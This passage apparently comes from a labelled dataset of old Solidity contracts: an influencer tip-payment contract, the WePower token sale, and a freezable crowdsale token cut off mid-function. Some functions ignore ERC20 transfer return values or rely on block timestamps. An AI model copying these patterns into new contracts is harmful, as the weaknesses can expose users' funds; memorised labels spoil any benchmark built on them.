if (!_isERC20) {
influencer.charityAddress.transfer(payouts[1]);
} else {
erc20.transfer(influencer.charityAddress, payouts[1]);
}
}
if (payouts[2] > 0) {
if (!_isERC20) {
if (webappAddress.balance < webappMinBalance) {
payouts[3] = payouts[3].add(payouts[2]);
} else {
feePayoutAddress.transfer(payouts[2]);
}
} else {
erc20.transfer(feePayoutAddress, payouts[2]);
}
}
if (payouts[3] > 0) {
if (!_isERC20) {
webappAddress.transfer(payouts[3]);
} else {
erc20.transfer(webappAddress, payouts[3]);
}
}
}
function sendEthTweet(string _influencerTwitterHandle) external payable {
sendEthTweet(msg.value, false, "ETH", true, _influencerTwitterHandle, 0);
}
function sendPrepaidEthTweet(uint256 _amount, string _influencerTwitterHandle, uint256 _additionalFee) external onlyWebappOrOwner {
sendEthTweet(_amount, false, "ETH", false, _influencerTwitterHandle, _additionalFee);
}
function addNewToken(string _symbol, address _address) external onlyWebappOrOwner {
tokens[_symbol] = _address;
}
function removeToken(string _symbol) external onlyWebappOrOwner {
require(tokens[_symbol] != 0x0);
delete(tokens[_symbol]);
}
function supportsToken(string _symbol, address _address) external constant returns (bool) {
return (tokens[_symbol] == _address);
}
function contractTokenBalance(string _symbol) external constant returns (uint256) {
require(tokens[_symbol] != 0x0);
ERC20Basic erc20 = ERC20Basic(tokens[_symbol]);
return erc20.balanceOf(address(this));
}
function sendERC20Tweet(uint256 _amount, string _symbol, string _influencerTwitterHandle) external {
ERC20Basic erc20 = ERC20Basic(tokens[_symbol]);
require(erc20.transferFrom(msg.sender, address(this), _amount));
sendEthTweet(_amount, true, _symbol, false, _influencerTwitterHandle, 0);
}
function sendPrepaidERC20Tweet(uint256 _amount, string _symbol, string _influencerTwitterHandle, uint256 _additionalFee) external onlyWebappOrOwner {
sendEthTweet(_amount, true, _symbol, false, _influencerTwitterHandle, _additionalFee);
}
function getInfluencer(string _twitterHandle) external constant returns(address, uint256, address) {
Influencer memory influencer = influencers[_twitterHandle];
return (influencer.influencerAddress, influencer.charityPercentage, influencer.charityAddress);
}
} | 1 | 3,534 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ExchangerI {
ERC20Basic public wpr;
function collect(address caller) public;
}
contract TokenController {
function proxyPayment(address _owner) payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) returns(bool);
function onApprove(address _owner, address _spender, uint _amount)
returns(bool);
}
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() { controller = msg.sender;}
function changeController(address _newController) onlyController {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data);
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.1';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) internal returns (uint) {
return a < b ? a : b;
}
function () payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) onlyController {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WPR is MintableToken, PausableToken {
string constant public name = "WePower Token";
string constant public symbol = "WPR";
uint constant public decimals = 18;
function WPR() {
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
function disown() public onlyOwner {
OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract Contribution is Ownable {
using SafeMath for uint256;
WPR public wpr;
address public contributionWallet;
address public teamHolder;
address public communityHolder;
address public futureHolder;
address public exchanger;
uint256 public totalCollected;
uint256 public totalWeiCap;
uint256 public totalWeiCollected;
uint256 public presaleTokensIssued;
uint256 public minimumPerTransaction = 0.01 ether;
uint256 public numWhitelistedInvestors;
mapping (address => bool) public canPurchase;
mapping (address => uint256) public individualWeiCollected;
uint256 public startTime;
uint256 public endTime;
uint256 public initializedTime;
uint256 public finalizedTime;
uint256 public initializedBlock;
uint256 public finalizedBlock;
bool public paused;
modifier initialized() {
require(initializedBlock != 0);
_;
}
modifier contributionOpen() {
require(getBlockTimestamp() >= startTime &&
getBlockTimestamp() <= endTime &&
finalizedTime == 0);
_;
}
modifier notPaused() {
require(!paused);
_;
}
function Contribution(address _wpr) {
require(_wpr != 0x0);
wpr = WPR(_wpr);
}
function initialize(
address _wct1,
address _wct2,
address _exchanger,
address _contributionWallet,
address _futureHolder,
address _teamHolder,
address _communityHolder,
uint256 _totalWeiCap,
uint256 _startTime,
uint256 _endTime
) public onlyOwner {
require(initializedBlock == 0);
require(initializedTime == 0);
assert(wpr.totalSupply() == 0);
assert(wpr.owner() == address(this));
assert(wpr.decimals() == 18);
wpr.pause();
require(_contributionWallet != 0x0);
contributionWallet = _contributionWallet;
require(_futureHolder != 0x0);
futureHolder = _futureHolder;
require(_teamHolder != 0x0);
teamHolder = _teamHolder;
require(_communityHolder != 0x0);
communityHolder = _communityHolder;
require(_startTime >= getBlockTimestamp());
require(_startTime < _endTime);
startTime = _startTime;
endTime = _endTime;
require(_totalWeiCap > 0);
totalWeiCap = _totalWeiCap;
initializedBlock = getBlockNumber();
initializedTime = getBlockTimestamp();
require(_wct1 != 0x0);
require(_wct2 != 0x0);
require(_exchanger != 0x0);
presaleTokensIssued = MiniMeToken(_wct1).totalSupplyAt(initializedBlock);
presaleTokensIssued = presaleTokensIssued.add(
MiniMeToken(_wct2).totalSupplyAt(initializedBlock)
);
require(wpr.mint(_exchanger, presaleTokensIssued.mul(10000)));
exchanger = _exchanger;
Initialized(initializedBlock);
}
function blacklistAddresses(address[] _investors) public onlyOwner {
for (uint256 i = 0; i < _investors.length; i++) {
blacklist(_investors[i]);
}
}
function isWhitelisted(address _investor) public onlyOwner constant returns(bool) {
return canPurchase[_investor];
}
function whitelistAddresses(address[] _investors) public onlyOwner {
for (uint256 i = 0; i < _investors.length; i++) {
whitelist(_investors[i]);
}
}
function whitelist(address investor) public onlyOwner {
if (canPurchase[investor]) return;
numWhitelistedInvestors++;
canPurchase[investor] = true;
}
function blacklist(address investor) public onlyOwner {
if (!canPurchase[investor]) return;
numWhitelistedInvestors--;
canPurchase[investor] = false;
}
function exchangeRate() constant public initialized returns (uint256) {
return 8000;
}
function tokensToGenerate(uint256 toFund) internal returns (uint256 generatedTokens) {
generatedTokens = toFund.mul(exchangeRate());
}
function () public payable notPaused {
proxyPayment(msg.sender);
}
function proxyPayment(address _th) public payable notPaused initialized contributionOpen returns (bool) {
require(_th != 0x0);
if (msg.value == 0) {
wpr.unpause();
ExchangerI(exchanger).collect(_th);
wpr.pause();
} else {
doBuy(_th);
}
return true;
}
function doBuy(address _th) internal {
require(canPurchase[_th]);
require(msg.value >= minimumPerTransaction);
uint256 toFund = msg.value;
uint256 toCollect = weiToCollectByInvestor(_th);
require(toCollect > 0);
if (toFund > toCollect) {
toFund = toCollect;
}
uint256 tokensGenerated = tokensToGenerate(toFund);
require(tokensGenerated > 0);
require(wpr.mint(_th, tokensGenerated));
contributionWallet.transfer(toFund);
totalCollected = totalCollected.add(toFund);
individualWeiCollected[_th] = individualWeiCollected[_th].add(toFund);
totalWeiCollected = totalWeiCollected.add(toFund);
NewSale(_th, toFund, tokensGenerated);
uint256 toReturn = msg.value.sub(toFund);
if (toReturn > 0) {
_th.transfer(toReturn);
}
}
function finalize() public initialized {
require(finalizedBlock == 0);
require(finalizedTime == 0);
require(getBlockTimestamp() >= startTime);
require(msg.sender == owner || getBlockTimestamp() > endTime || weiToCollect() == 0);
uint CROWDSALE_PCT = 62;
uint TEAMHOLDER_PCT = 20;
uint COMMUNITYHOLDER_PCT = 15;
uint FUTUREHOLDER_PCT = 3;
assert(CROWDSALE_PCT + TEAMHOLDER_PCT + COMMUNITYHOLDER_PCT + FUTUREHOLDER_PCT == 100);
uint256 tokenCap = wpr.totalSupply().mul(100).div(CROWDSALE_PCT);
wpr.mint(teamHolder, tokenCap.mul(TEAMHOLDER_PCT).div(100));
wpr.mint(communityHolder, tokenCap.mul(COMMUNITYHOLDER_PCT).div(100));
wpr.mint(futureHolder, tokenCap.mul(FUTUREHOLDER_PCT).div(100));
require(wpr.finishMinting());
wpr.transferOwnership(owner);
finalizedBlock = getBlockNumber();
finalizedTime = getBlockTimestamp();
Finalized(finalizedBlock);
}
function weiToCollect() public constant returns(uint256) {
return totalWeiCap > totalWeiCollected ? totalWeiCap.sub(totalWeiCollected) : 0;
}
function weiToCollectByInvestor(address investor) public constant returns(uint256) {
uint256 cap;
uint256 collected;
if (getBlockTimestamp() <= startTime + 5 hours) {
cap = totalWeiCap.div(numWhitelistedInvestors);
collected = individualWeiCollected[investor];
} else {
cap = totalWeiCap;
collected = totalWeiCollected;
}
return cap > collected ? cap.sub(collected) : 0;
}
function getBlockNumber() internal constant returns (uint256) {
return block.number;
}
function getBlockTimestamp() internal constant returns (uint256) {
return block.timestamp;
}
function setTotalCollected(uint _totalCollected) public onlyOwner {
totalCollected = _totalCollected;
}
function claimTokens(address _token) public onlyOwner {
if (wpr.owner() == address(this)) {
wpr.claimTokens(_token);
}
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
function pauseContribution(bool _paused) onlyOwner {
paused = _paused;
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
event NewSale(address indexed _th, uint256 _amount, uint256 _tokens);
event Initialized(uint _now);
event Finalized(uint _now);
} | 1 | 2,266 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
